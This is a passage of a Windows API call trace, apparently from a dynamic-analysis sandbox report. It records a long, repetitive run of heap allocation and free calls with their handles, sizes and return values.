Flags=0x0, Size=0x70) returned 0x3941b08 [0118.735] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, 